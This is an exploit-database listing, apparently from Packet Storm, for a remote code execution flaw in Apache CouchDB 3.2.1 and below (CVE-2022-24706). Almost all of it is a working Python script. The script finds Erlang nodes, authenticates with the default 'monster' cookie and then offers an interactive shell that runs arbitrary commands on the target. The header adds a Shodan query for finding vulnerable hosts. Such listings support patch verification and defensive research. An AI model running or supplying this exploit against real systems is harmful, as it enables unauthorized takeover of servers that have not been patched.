Lucene search

K
packetstormKonstantin BurovPACKETSTORM:167032
HistoryMay 11, 2022 - 12:00 a.m.

Apache CouchDB 3.2.1 Remote Code Execution

2022-05-1100:00:00
Konstantin Burov
packetstormsecurity.com
289

0.975 High

EPSS

Percentile

100.0%

`# Exploit Title: Apache CouchDB 3.2.1 - Remote Code Execution (RCE)  
# Date: 2022-01-21  
# Exploit Author: Konstantin Burov, @_sadshade  
# Software Link: https://couchdb.apache.org/  
# Version: 3.2.1 and below  
# Tested on: Kali 2021.2  
# Based on 1F98D's Erlang Cookie - Remote Code Execution  
# Shodan: port:4369 "name couchdb at"  
# CVE: CVE-2022-24706  
# References:  
# https://habr.com/ru/post/661195/  
# https://www.exploit-db.com/exploits/49418  
# https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/  
# https://book.hacktricks.xyz/pentesting/4369-pentesting-erlang-port-mapper-daemon-epmd#erlang-cookie-rce  
#   
#  
#!/usr/local/bin/python3  
  
import socket  
from hashlib import md5  
import struct  
import sys  
import re  
import time  
  
TARGET = ""  
EPMD_PORT = 4369 # Default Erlang distributed port  
COOKIE = "monster" # Default Erlang cookie for CouchDB   
ERLNAG_PORT = 0  
EPM_NAME_CMD = b"\x00\x01\x6e" # Request for nodes list  
  
# Some data:  
NAME_MSG = b"\x00\x15n\x00\x07\x00\x03\x49\x9cAAAAAA@AAAAAAA"  
CHALLENGE_REPLY = b"\x00\x15r\x01\x02\x03\x04"  
CTRL_DATA = b"\x83h\x04a\x06gw\x0eAAAAAA@AAAAAAA\x00\x00\x00\x03"  
CTRL_DATA += b"\x00\x00\x00\x00\x00w\x00w\x03rex"  
  
  
def compile_cmd(CMD):  
MSG = b"\x83h\x02gw\x0eAAAAAA@AAAAAAA\x00\x00\x00\x03\x00\x00\x00"  
MSG += b"\x00\x00h\x05w\x04callw\x02osw\x03cmdl\x00\x00\x00\x01k"  
MSG += struct.pack(">H", len(CMD))  
MSG += bytes(CMD, 'ascii')  
MSG += b'jw\x04user'  
PAYLOAD = b'\x70' + CTRL_DATA + MSG  
PAYLOAD = struct.pack('!I', len(PAYLOAD)) + PAYLOAD  
return PAYLOAD  
  
print("Remote Command Execution via Erlang Distribution Protocol.\n")  
  
while not TARGET:  
TARGET = input("Enter target host:\n> ")  
  
# Connect to EPMD:  
try:  
epm_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
epm_socket.connect((TARGET, EPMD_PORT))  
except socket.error as msg:  
print("Couldnt connect to EPMD: %s\n terminating program" % msg)  
sys.exit(1)  
  
epm_socket.send(EPM_NAME_CMD) #request Erlang nodes  
if epm_socket.recv(4) == b'\x00\x00\x11\x11': # OK  
data = epm_socket.recv(1024)  
data = data[0:len(data) - 1].decode('ascii')  
data = data.split("\n")  
if len(data) == 1:  
choise = 1  
print("Found " + data[0])  
else:  
print("\nMore than one node found, choose which one to use:")  
line_number = 0  
for line in data:  
line_number += 1  
print(" %d) %s" %(line_number, line))  
choise = int(input("\n> "))  
  
ERLNAG_PORT = int(re.search("\d+$",data[choise - 1])[0])  
else:  
print("Node list request error, exiting")  
sys.exit(1)  
epm_socket.close()  
  
# Connect to Erlang port:  
try:  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.connect((TARGET, ERLNAG_PORT))  
except socket.error as msg:  
print("Couldnt connect to Erlang server: %s\n terminating program" % msg)  
sys.exit(1)  
  
s.send(NAME_MSG)  
s.recv(5) # Receive "ok" message  
challenge = s.recv(1024) # Receive "challenge" message  
challenge = struct.unpack(">I", challenge[9:13])[0]  
  
#print("Extracted challenge: {}".format(challenge))  
  
# Add Challenge Digest  
CHALLENGE_REPLY += md5(bytes(COOKIE, "ascii")  
+ bytes(str(challenge), "ascii")).digest()  
s.send(CHALLENGE_REPLY)  
CHALLENGE_RESPONSE = s.recv(1024)  
  
if len(CHALLENGE_RESPONSE) == 0:  
print("Authentication failed, exiting")  
sys.exit(1)  
  
print("Authentication successful")  
print("Enter command:\n")  
  
data_size = 0  
while True:  
if data_size <= 0:  
CMD = input("> ")  
if not CMD:  
continue  
elif CMD == "exit":  
sys.exit(0)  
s.send(compile_cmd(CMD))  
data_size = struct.unpack(">I", s.recv(4))[0] # Get data size  
s.recv(45) # Control message  
data_size -= 45 # Data size without control message  
time.sleep(0.1)  
elif data_size < 1024:   
data = s.recv(data_size)  
#print("S---data_size: %d, data_recv_size: %d" %(data_size,len(data)))  
time.sleep(0.1)  
print(data.decode())  
data_size = 0  
else:   
data = s.recv(1024)  
#print("L---data_size: %d, data_recv_size: %d" %(data_size,len(data)))  
time.sleep(0.1)  
print(data.decode(),end = '')  
data_size -= 1024  
  
  
`